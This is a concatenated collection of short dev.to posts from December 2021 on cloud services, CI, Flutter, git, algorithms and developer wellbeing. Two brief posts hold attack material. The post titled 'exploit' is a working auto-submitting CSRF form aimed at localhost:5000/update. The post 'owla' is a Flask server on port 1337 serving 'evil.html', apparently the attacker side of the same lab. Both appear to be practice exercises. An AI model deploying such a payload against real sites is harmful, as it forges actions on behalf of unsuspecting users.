teleren/devto huggingface dataset:
Join global developer survey! make an impact on developer ecosystem
Tags: programming, devops, aws, machinelearning
Published: 2021-12-18 02:08:35

Do you want to win cool new gear to test your software? Take the new #DeveloperNationSurvey, answer a few questions about your #coding skills and enter to win $1000 or $250 towards your desktop set up, $500 towards your #AWS certificate exam, #Amazon vouchers and more!
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v2bdxwsg26bd3gx8vn1b.jpg)

What do developers want the most in 2022? Is it better documentation, real DevOps culture, perhaps fewer Zoom calls? It's time to tell the truth! Take part in the new Developer Nation survey for all developers and no-code software creators. Answer no-nonsense questions covering 13 development areas: Web, Mobile, Desktop, Cloud,  Industrial IoT, Consumer Electronics, Embedded software, AR & VR, Apps/extensions for 3rd-party ecosystems, Games, Machine Learning & AI, and Data science. Even you're just a student or hobbyist, you'll find the survey very informative. You will need about 20 min. If it seems like a lot, don't worry; you can start the survey, pause to take a break and resume later with your answers saved. In return, you will get a virtual goodie bag packed with resources. Plus, you could win $1000 or $250 towards your desktop set up, $500 towards your AWS certification exam, new gear to upgrade your home or office workstation, and more via prize draws. The survey will close on January 31st, so hurry up

Take the survey ! 👇
https://developereconomics.net/?member_id=Wnm6hKLD&lang=en&locale=en
Let's explore Azure Functions & Azure Cosmos DB - Part 1
Tags: azure, azurefunctions, backend, cloud
Published: 2021-12-18 01:43:39

Hi everyone,

I want to learn more about cloud, cloud services, cloud computing, etc. That is why I write up this one. I want to explore more Azure Functions. This is not a tutorial, I just want to take note some problems and what went well when I was exploring the Azure Functions. You want to learn more about Azure Cosmos DB, you can check [here](https://docs.microsoft.com/en-us/learn/paths/az-204-develop-solutions-that-use-azure-cosmos-db/)

## Problems

### Azure Functions Problems

#### `ClaimsPrincipal` is not filled by Username/Email

This problem took me many days to find the solution. Until now, I still can't figure out why. So, I take workaround. My workaround are read the header `X-MS-CLIENT-PRINCIPAL-NAME` and activate the `Easy Auth`. This is a disadvantage, I can't know if my solution works. I need to deploy to the Azure Functions and call it with my client code. I want to minimize test directly to "production" when heavy development time, but I don't have many choice now.

### Azure Cosmos DB Problems

#### The Error Come from EF CosmosDB Provider Little Bit Hard to Understand

As a newcomer at CosmosDB, I think the error little bit hard to understand. When I am not setting up the Container, they only said 404. It is hard for me to know the error context.

**Some notes**:
* Database Name: You will set up this at `UseCosmos`. This is same with  `database` in CosmosDb.

![Database Name](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hrfbh62i4imh4ym39rms.png)

* Collection: When use define `DbContext`, your `DbContext` will become Collection. So you need to create it or setup it before.

![Collection](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uyo8difijuv8rmueew8o.png)

#### Can't create Azure Cosmos DB because high demand?

I don't understand for this. Is it really because high demand? I want to provision Azure Cosmos DB at Southeast Asia, but it is always said high demand. So I take workaround to use Azure Cosmos DB free and use different region. It is have different region and quite far from my place. It has huge delay in my application because of this. Anyway, do you want to try Azure Cosmos DB? You can check [here](https://azure.microsoft.com/en-us/try/cosmosdb/).

## Show Case

I have some videos when I was exploring the Azure Functions and Azure Cosmos DB. Here we are,

* Deploy Azure Functions using Visual Studio 2022

{% youtube HIOkXkobvrY %}

* Create Azure Cosmos Db Free

{% youtube hM933BovVSY %}

* Setup Azure Cosmos Db

{% youtube pBkiIeW1VAE %}

* Setup `Easy Auth` Azure Functions

{% youtube yw0GVblXsNc %}

## Repository

{% github bervProject/azure-function-example %}

## Next Part

For the next part, I will tell more about the Azure Static Web Apps and deploy the client into there. We will consume the azure functions and use `msal` as our authentication client.

## Thank you

![Thanks GIF](https://media.giphy.com/media/5A4H6rLzx2hWLOd0Lw/giphy.gif)
AskDev How to setup nginx 
Published: 2021-12-18 01:33:50

Basically, how do drag and drop website builders, create subdomains for you work (server-wise)?
ie instantly serve new website after hitting publish, under a provision subdomain .

so far i understand i can use 

- using a wildcard subdomain (*.example.com) and possibly a corresponding wildcard SSL as well.

- using nginx -s reload

[A simple DIY website builder](https://levelup.gitconnected.com/a-simple-diy-website-builder-2c38855b2d90)

using the setup above but with wildcard subdomain 
but I don't understand is how to server a subdomain so quickly. In my experience, every time I made new subdomain, I needed to restart the nginx server.


any guide help with understanding this space and resources.
What’s Wrong With Using Python Web Apps for Data Science Projects?
Tags: python, webdev, javascript, datascience
Published: 2021-12-18 01:07:07

Python is everywhere, from process automation to self-driving cars. 

It's a sleek, elegant language with every reason to fall in love with it. But it has been criticized for its speed not being comparable with compiled languages. C++ and Java are repeatedly said to be outperforming Python frameworks. 

Also, because of its asynchronous nature, JavaScript (JS) frameworks perform well in serving web requests. [Python projects](https://www.the-analytics.club/python-project-structure-best-practices), on the other hand, executes requests synchronously. 

How far are Python frameworks behind JS ones? What's the workaround? That's the focus of this article. 

[Python Web Apps Are a Terrible Idea for Analytics Projects.](https://www.the-analytics.club/python-web-apps-are-a-terrible-idea-for-analytics-projects)
REMEMBER: gitlab ci runner & pipefail == ouch
Tags: git, bash, pipefail, gitlabci
Published: 2021-12-18 01:02:10

Any odd failures that make no sense in gitlab-ci.yaml scripts? Maybe those are using pipes? Gotcha.

Gitlab has by default the pretty 'anal' pipefail bash mode fail, which you usually dont see even if you usually use "set -e" ...

So for instance we wanted to truncate certain files in CI to a certain bytesize and use this script pattern:

```
 - cat /path/to/largefile | head -c 131200 > /path/to/truncfile
```

Now interestingly enough we always had this command failing our CI scripts if the largefile became substantially larger than the head cut off.

Turned out that cat indeed will fail as its downstream process exits before its done `catting` the full largefile.

Try it yourself:

```
$ $ dd if=/dev/random of=/tmp/largefile bs=1M count=3
3+0 records in
3+0 records out
3145728 bytes (3,1 MB, 3,0 MiB) copied, 0,0467213 s, 67,3 MB/s

# here how it works nicely, with return code 0
$ cat /tmp/largefile | head 1024 > /tmp/truncfile
$ echo $?
0

# ... now set pipefail mode it fails ...
$ set -o pipefail
$ cat /tmp/largefile | head -c 1024 > /tmp/smallfile
$ echo $?
141
```
100 días de código: 45, un dia dificil
Tags: spanish, 100daysofcode, webdev
Published: 2021-12-18 00:14:30

Foto de [Benaja Germann](https://unsplash.com/@benaja_photos?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) en [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)
  
¡Hey hey hey!

Bienvenidos a el día 45 el cual fue un día complicado para mi porque sentí un bajón de motivación importante.

Me levante por la mañana sin muchas fuerzas para conseguir las metas que había asignado el día anterior por la noche y sinceramente creo que esto es algo que muchas personas llegan a sufrir. 

No soy alguien preparado para hablar de esto pero, como ya lo había sufrido anteriormente, creo que tengo algunos consejos para continuar con tu día aun con la falta de motivación.

El primer consejo que les doy es que se feliciten por las cosas que van logrando en el día, ya sea hacer un poco de ejercicio, programar 20 minutos, hacer los deberes, etc.
Se que suena raro pero normalmente olvidamos de agradecernos por hacer todo ese esfuerzo y continuamos haciendo tareas asi que tomate un tiempo y agradecerte un poco por cada pequeño y gran logro.

El segundo consejo es que te tomes tu tiempo para hacer las cosas. Puede que no sea facil y menos si sufres de ansiedad pero inténtalo con todo tu ser para que puedas hacer las cosas de la mejor manera.

El tercer consejo es el hecho de que le cuentes a alguien como te sientes, sea profesional o no. Se que hay muchas personas que no valen la pena en esta vida pero si hay alguien que pueda escucharte aunque sea un poco cuéntale como te sientes. Desde hace mucho tiempo los seres humanos vivimos en sociedad, hay que utilizar las ventajas que tiene.

Si no te sientes con animo de seguir no te preocupes, tomate tu tiempo y descansa, siempre que uno cae se puede volver a levantar, visita a un profesional si tienes la oportunidad en dado caso.

Ahora si sigamos con la sección regular.

### Ayer:
- Practique 45 minutos de Touch Typing para calentar las manos por la mañana mientras escuchaba un podcast sobre marketing.
- Escribí algunas ideas sobre algunos proyectos nuevos para realizar aparte de The Odin Project.
- Avance hasta la sección CV Project en The Odin Project.

### Hoy:
- Practique 30 min de Touch Typing. 
- Avance en el proyecto de The Odin Project llamado CV Project.
- Re investigue como se declaran funciones en los componentes de clase en React.
- Pense en la idea de crear un podcast o un canal de Youtube para compartir los conocimientos que voy adquiriendo.

Espero que les vaya super bien en sus proyectos. 

Adiós mundo!
20% of the code is executed 80% of the time
Tags: testcoverage, tdd, unittests, codequality
Published: 2022-01-25 14:20:14

---
title: 20% of the code is executed 80% of the time
published: true
date: 2021-12-18 00:00:00 UTC
tags: testcoverage,tdd,unittests,codequality
canonical_url: https://jhall.io/archive/2021/12/18/20-of-the-code-is-executed-80-of-the-time/
---

I recently ran upon a piece of advice related to (I think) automated tests:

> 20% of the code is executed 80% of the time, so that is the code to test.

What do you think about this? Take a moment to form an opinion before you continue reading.

 ![I'll wait...](https://jhall.io/images/waiting-fingers.gif)

So on the surface, this percentages are probably aproximately true. The 80/20 rule or [Pareto principle](https://en.wikipedia.org/wiki/Pareto_principle) states that for many outcomes, roughly 80% of the consequences arise from 20% of the cause. I have no reason to think that code execution is any different.

So let’s take for granted that 20% of our code is executed 80% of our time, and the other 80% of our code is only executed 20% of the time.

Does this actually mean it’s safe not to test 80% of our code?

No. Obviously not.

Why does the less-frequently executed 80% of our code exist? If it serves a business purpose, it’s probably worth testing, even if it’s executed less frequently.

Second, why would we ever assume that business value correlates to code execution time?

By that logic, there’s never any reason to test an operating system boot loader, since it only executes once each boot (far less than 20% of the time).

Or imagine your code does currency conversion, and 80% of your transactions are between US Dollars and Euros, does that mean it’s acceptable if the logic to convert Yen to Quetzales is broken? Of course not.

If your code offers business value, it’s worth doing it correctly. If it’s worth doing correctly, it’s worth ensuring correctness with tests. If it’s not worth doing correctly, just delete it.

* * *
_If you enjoyed this message, [subscribe](https://jhall.io/daily) to <u>The Daily Commit</u> to get future messages to your inbox._
Transformando Design em código Dart/Flutter
Published: 2021-12-17 23:16:40

Bom, se o título te chamou a atenção, você vai ficar louco quando ver isso aqui, tem uns caras montando um plugin que quando os designers terminam seus trabalhos dentro do Adobe XD, é possível exportar isso para CÓDIGO FLUTTER, sim, isso mesmo, C Ó D I G O  F L U T T E R.

Chega até soar engraçado né?
Mas então bora ver como que isso funciona.

Ah, e o plugin é esse [aqui](https://github.com/AdobeXD/xd-to-flutter-plugin)

E [aqui](https://www.youtube.com/watch?v=raG7NjM0p0k&ab_channel=gskinner) tem um vídeo mostrando.

O plugin é desenvolvido pela ***gskinner*** em parceria com a Adobe e é publicado como um plugin para o próprio Adobe XD, para que você possa usá-lo com qualquer design existente do Adobe XD que estiver criando.

Vou deixar aqui o link para o artigo oficial, mas que TROÇO BALA.

[É esse aqui o link, clica em mim :)](https://medium.com/flutter/announcing-xd-to-flutter-v2-0-c743bac2aeeb)
exploit 
Tags: javascript, webdev, beginners, react
Published: 2021-12-17 23:02:48

```javascript
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

```
Alguns pacotes para o Dart/Flutter para tornar sua aplicação mais bonita
Published: 2021-12-17 22:49:00

Boora lá pessoal, então hoje vamos ver alguns pacotes que podem tornar a sua aplicação mais linda para o usuário final, assim criando valor e fazendo com que os usuários se sintam mais felizes utilizando seu app.

1. Styled Widget
Esse Widget é construído como uma ferramenta para aprimorar sua experiência de desenvolvimento no Flutter e para se integrar perfeitamente com sua base de código.

Exemplo: 
```
Icon(OMIcons.home, color: Colors.white)
  .padding(all: 10)
  .decorated(color: Color(0xff7AC1E7), shape: BoxShape.circle)
  .padding(all: 15)
  .decorated(color: Color(0xffE8F2F7), shape: BoxShape.circle)
  .padding(all: 20)
  .card(
    elevation: 10,
    shape: RoundedRectangleBorder(
      borderRadius: BorderRadius.circular(20),
    ),
  )
  .alignment(Alignment.center)
  .backgroundColor(Color(0xffEBECF1));
```

![Image2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9gafgp6wfyjmvyqevxs1.png)

[Styled Widget](https://pub.dev/packages/styled_widget)
  

2. Flui

Um framework topp para o Flutter, onde você tem disponível um acervo gigantesco de Widgets para serem utilizados!

Exemplo: 
```
FLAppBarTitle(
    title: 'AppBar',
    subtitle: '(subtitle)',
    layout: FLAppBarTitleLayout.vertical,
    showLoading: true
)
```

[Flui](https://pub.dev/packages/flui)

3. Responsive Framework

Esse pacote faz a adaptação da sua UI para os diferentes tamanhos de tela dos dispositivos de forma automática, você apenas precisa se preocupar em criar sua tela.

Exemplo:
```
MaterialApp(
      builder: (context, widget) => ResponsiveWrapper.builder(
          child,
          maxWidth: 1200,
          minWidth: 480,
          defaultScale: true,
          breakpoints: [
            ResponsiveBreakpoint.resize(480, name: MOBILE),
            ResponsiveBreakpoint.autoScale(800, name: TABLET),
            ResponsiveBreakpoint.resize(1000, name: DESKTOP),
          ],
          background: Container(color: Color(0xFFF5F5F5))),
      initialRoute: "/",
    )
```

![Showcase](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/207ad6f6fg145edzytms.png)
 
[Responsive framework](https://pub.dev/packages/responsive_framework)

4. Flutter Neumorphic 

Esse pacote faz a criação de itens em 3d para você mostrar ao seu usuário, é muito interessante para criar splash screens e afins.

Exemplo:
```
Neumorphic(
  style: NeumorphicStyle(
    shape: NeumorphicShape.concave,
    boxShape: NeumorphicBoxShape.roundRect(BorderRadius.circular(12)), 
    depth: 8,
    lightSource: LightSource.topLeft,
    color: Colors.grey
  ),
  child: ...
)
```

![Neumorphic](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mu54dj3u17gt6ipdmkmc.png)
 
[Flutter Neumorphic](https://pub.dev/packages/flutter_neumorphic)
Day 500 : It Was A Good Day
Tags: hiphop, code, coding, lifelongdev
Published: 2021-12-17 22:45:33

_liner notes_:
- Professional : Today is the last day before I start my holiday vacation. It was a good day. Got the blog post and demo I made updated to reflect some changes in the JavaScript Client SDK. There's way less code now. Spoke with some folks about a workshop and a presentation I'll be doing next year. Also had some discussion about something I want to start up for next year. Pretty good way to end off the year.

- Personal : Last night, I put the final touches on my latest side project, https://xoXR.games I even pre-wrote some Tweets to send in the morning. I think that was pretty much it. I may have went through some tracks for the radio show.

![View from a mountain at a mountain range in Tre Cime di Lavaredo, Italy a little snow on the top and pine tree forest in the valley.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2orx3aojn9u69tu7rcxd.jpg)

It's funny, I ordered an item and chose the free shipping and it would arrive next week. I found the same item but in a different color that was previously sold out the next day, I wanted to get it by the end of the week so I paid for expedited shipping. I ordered a case for the item like a couple of days before ordering the first item and was supposed to get here Friday. Today, the item that was supposed to get here next week, came first, then the one I paid for expedited shipping came second and the case I ordered first has been delayed somehow even though it left a city close by last night. I don't know. Going to work on the radio show. I don't even want to open the item if I can't put it into a case. haha. Maybe I'll start working on my next side project. Oh yeah, since I'll be off till after the New Year, I won't be posting to the blog. So, Happy Holidays and Happy New Year! I'll still be doing the radio show ( https://kNOwBETTERHIPHOP.com ) and the online study group ( https://untilit.works )

See y'all later!

peace piece
Dwane / conshus
https://dwane.io / https://HIPHOPandCODE.com
{% youtube h4UqMyldS7Q %}
owla 
Tags: python, webdev, html, flask
Published: 2021-12-17 22:42:03

```python 
from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
```
git fork vs git clone on a command line
Published: 2021-12-17 22:26:53

## **Whats the difference between a fork and a clone?**

**fork**: you are creating a copy of the repository using your github id (if you are using github). If you create changes it the forked repository, you have to create a pull request to the original repository

technically fork is not a git command. So you will have to use something that is available on Github, GitLab etc..

If you are using Github. First install `gh`. Eg. on a mac

`brew install gh`

To login:

`gh auth login --web`

To fork a repo: E.g to fork Netflix Conductor repo

`gh repo fork https://github.com/Netflix/conductor.git --clone`


**clone** Cloning a repo will create a local copy on our computer so that it can sync between both the local and remote locations of the repo. Cloning is good when you want to get your own copy of a repository where you may not be contributing to the original project.


To clone:

`git clone https://github.com/Netflix/conductor.git`
Pattern Search - Optimized Naïve Search
Tags: programming, algorithms, computerscience
Published: 2021-12-17 22:17:42

Assume that all characters of pattern are different, in this case we can slide the pattern by more than 1 when a mismatch occurs. 
![string and pattern](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eeqndcx6ied5zqwwfn23.png)
- All characters of pattern are different.
![slide by j](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e8hhii7h4k5kh90jow77.png)
- Slide by j.
![search 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r927f649npl2s59b60u9.png)
![pattern found](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ttk7fti24vwlrj3axt7p.png)
```python
def optimized_naïve_search(string, pattern):
    n = len(string)
    m = len(pattern)
    i = 0
    while i <= (n - m):
        for j in range(m):
            if string[i + j] != pattern[j]:
                break
            j += 1
        if j == m:
            print("pattern found at index: ", i)
            i = i + m
        elif j == 0:
            i += 1
        else:
            i = i + j


string = "abeabc"
pattern = "abc"
optimized_naïve_search(string, pattern)

```
How to make Creative Product Card for NFT Website HTML CSS
Tags: css, webdev, beginners, tutorial
Published: 2021-12-17 22:14:50

{% youtube RR_53O_sk3s %}

how to make creative product card for nft website with html css.

In this video, we will learn how to make creative product card for nft website with html css.

📹 Recommended Videos
-----------------------------
[How to use ionicon](https://youtu.be/TTrYjLOJeKs)

---

🔗 Essential links
-----------------------------
[All Images](https://drive.google.com/file/d/19EIH7zmM8ch6C6QvEWl-Qn6cVaAAiBEu/view?usp=sharing)
[Font - Poppins](https://fonts.google.com/specimen/Poppins?query=poppin)
[Ionicon](https://ionic.io/ionicons)
[Source Code](https://www.patreon.com/posts/source-code-card-60040483?utm_medium=clipboard_copy&utm_source=copy_to_clipboard&utm_campaign=postshare)

---

👤 Like - Follow & Subscribe Me
-----------------------------
Twitter : https://twitter.com/codewithsadee
Github : https://github.com/codewithsadee
YouTube : [codewithsadee](https://www.youtube.com/channel/UC1PZHWV6VvICTL1LgFUZq6g)
Patreon : https://www.patreon.com/codewithsadee

---

[![Buy Me A Coffee](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9kn6vwn4mulhsx6o69is.png)](https://www.buymeacoffee.com/codewithsadee)
Dec 16-17th: Dev Holidays Guide ⛄️ 
Tags: stateofdevs, burnout, tips, bahhumbugtip
Published: 2021-12-17 21:58:02

---
title: Dec 16-17th: Dev Holidays Guide ⛄️ 
published: true
description: Figure out a way to stress less during the holiday vacation.
tags: #StateOfDevs #burnout #tips #bahhumbugtip
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qyo2k3v2bie6tvkufpzx.png
---
I found myself a little overwhelmed finishing my last project while getting ready for the holidays. I got burnout trying to conduct a burnout survey. 🙄 

It wasn't just the survey, but months of stress with my startup, career options, caregiving duties, & relearning JS & React.

So I wrote down some advice & tactics to help me stop being anxious while I figure stuff out. 


###🎄 Today's Bah Humbug Tip of the Day. 
{% twitter 1471879895760310274 %}

####🎁 *Today's Options* 
{% twitter 1471879896515301381 %}


#####🎄 Yesterday's Bah Humbug Tip of the Day. 
{% twitter 1471647285876445186 %}


######🎁 *Yesterday's Options* 
{% twitter 1471647287000518657 %} 

I decided to publish and share these tips as a [Dev series](https://dev.to/helengriffinjr/series/15961) & [Twitter threads](https://twitter.com/stateofdevs). Let me know in the comments if any of these tips helps.

> If a you're struggling w/ burnout & open to sharing your story, please [take the State Of Devs survey](https://stateofdevs.com/helps/dev). 🗳 Thanks!

{% user helengriffinjr %}